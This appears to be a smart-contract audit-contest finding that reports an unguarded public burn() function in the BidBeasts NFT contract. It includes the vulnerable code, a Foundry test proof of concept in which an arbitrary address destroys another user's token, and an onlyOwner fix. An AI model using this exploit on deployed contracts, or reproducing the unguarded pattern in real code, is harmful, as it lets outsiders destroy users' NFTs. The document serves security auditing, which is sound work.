Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Everyone Can Burn Selected NFT's

Root + Impact

Description

Normal behavior:
In an ERC-721 contract, the BidBeasts::burn() function should only be callable by the token owner, an approved operator, or the contract owner (depending on intended design). This ensures that NFTs cannot be arbitrarily destroyed by outsiders.

Specific issue:
The current implementation of BidBeasts::burn(uint256 _tokenId) is declared public without any access control checks. There is no onlyOwner modifier, nor is ownership/approval of the token verified. As a result, any external address can call BidBeasts::burn() with any tokenId, effectively destroying NFTs owned by others.

function burn(uint256 _tokenId) public {
@> _burn(_tokenId); // No ownership or approval check
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood: High

  • Anyone interacting with the contract can execute the function — no privilege is required.

  • Attackers can trivially select any existing tokenId and burn it.

Impact: Critical

  • Loss of assets: NFT owners permanently lose their tokens without consent.

  • Protocol collapse: Entire collections can be destroyed, rendering the marketplace and ecosystem worthless.

  • Market disruption: Marketplaces relying on the collection break, ownership proofs vanish, and buyer confidence is destroyed.

Proof of Concept

The following test shows how a malicious address (HACKER) can burn a token owned by someone else (SELLER):

function testFuzz_exploit_burn_any_NFT(address user) public {
uint256 tokenId = 0;
// OWNER mints NFTs to SELLER
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
assertEq(nft.ownerOf(tokenId), SELLER);
// Any user destroys SELLER's NFT without approval
vm.assume(user != address(0));
vm.startPrank(user);
nft.burn(tokenId);
vm.stopPrank();
// Token is gone, breaking ERC721 guarantees
vm.expectRevert();
nft.ownerOf(tokenId); // No token exists (Reverted)
}

Result:

Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] testFuzz_exploit_burn_any_NFT(address) (runs: 257, μ: 73326, ~: 73308)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.27ms (11.72ms CPU time)
Ran 1 test suite in 17.45ms (12.27ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

This demonstrates that any arbitrary address can destroy NFTs they do not own.

Recommended Mitigation

Depending on intended design, apply one of the following fixes:

If only the contract owner should be able to burn NFTs:

- function burn(uint256 _tokenId) public {
+ function burn(uint256 _tokenId) public onlyOwner {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!